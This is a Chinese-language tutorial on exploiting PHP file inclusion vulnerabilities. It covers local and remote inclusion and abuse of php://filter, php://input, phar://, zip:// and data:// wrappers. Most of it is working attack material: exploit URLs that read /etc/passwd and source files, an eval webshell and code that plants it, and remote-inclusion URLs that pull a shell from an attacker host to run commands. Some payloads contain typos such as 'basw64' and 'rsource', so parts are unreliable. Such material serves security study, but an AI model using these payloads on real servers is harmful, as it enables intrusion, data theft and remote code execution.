文件包含漏洞

文件包含漏洞

一、本地文件包含

1.源代码

$filename = $_GET['filename'];
include $filename;
echo "欢迎来到PHP世界"

2.利用条件

  • php.ini中allow_url_fopen=On(默认开启)和allow_url_include=off(默认关闭)开启
  • 用户参数可控且后台代码没有对包含的文件进行过滤

3.利用方式

http://192.168.101.2/fileinc.php?filename=login.html

http://192.168.101.2/fileinc.php?filename=/opt/lampp/logs/access_log

http://192.168.101.2/fileinc.php?filename=../../../../etc/passwd

http://192.168.101.2/fileinc.php?filename=php://filter/read/convert.basw64-encode/resource=common.php

二、远程文件包含

1.利用条件

  • php.ini中allow_url_fopen=On(默认开启)和allow_url_include=off(默认关闭)开启
  • 用户参数可控且后台代码没有对包含的文件过滤

2.利用方式

// 木马文件
<?php
    @eval($_GET['code']);    // 一句话木马

    // 也可以直接创建木马到目标服务器进行利用
    // file_put_contents("temp/muma.php",'<?php @eval($_GET['code']); ?>')
?>
// 这种方式执行的是攻击者101.1的phpinfo命令
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.php?code=phpinfo();

// 将php的后缀改成txt这种不可执行的才能让目标101.2执行phpinfo命令
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.txt&code=phpinfo();

// 如果直接创建木马文件到目标服务器可以不带参数
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.txt

三、PHP伪协议利用

1.伪协议

  • php支持以下几种协议

    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
  • php://是一种伪协议,主要是开启了一个输入输出流,理解文件数据传输的一个通道。PHP中的伪协议尝试用的有以下:

    • php://input
    • php://filter
    • phar://

2.php://filter

  • 当直接包含一个php文件时,会被web容器解析,看不到源码信息

    • 如:http://192.168.101.2/fileinc.php?filename=common.php

    • 使用php://伪协议可以将源码读取出来

    // 以下将common.php的内容以base64方式读取,通过解码得到明文
    http://192.168.101.2/fileinc.php?filename=php://filter/read/convert.base64-encode/rsource=common.php

3.php://input

  • php://filter/read/convert.base64-encode/rsource=php://input然后以POST的方式传输<?php system('ifconfig') ?>等php代码执行命令,也可以直接上传大马

4.phar://

  • 主要用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进阶的phar反序列化攻击

  • 要给目标主机写入文件,可以直接想办法上传,也可以攻击服务器到命令行使用wget或curl下载

  • 使用:

    • 先通过其他方式将压缩文件shell.zip上传到目标主机/temp/中

    • 通过phar://伪协议将压缩包中的shell.txt读取从而利用

    php://filter/read/convert.base64-encode/rsource=phar://temp/shell.zip/shell.txt

5.zip://

  • 对压缩文件进行读取曹祖,原理与用法和phar几乎一样。区别是:
    • 压缩文件的目录符号需要将/替换为#,且要将#进行url编码为%23
    • zip只能包含单级目录,即不能/shell%23folder%23shell.txt

6.data://

  • data://本身是数据流封装器,原理与用法和php://input类似,但是是发送GET请求参数
  • data://text/plain,<?php phpinfo(); ?>
上一篇
下一篇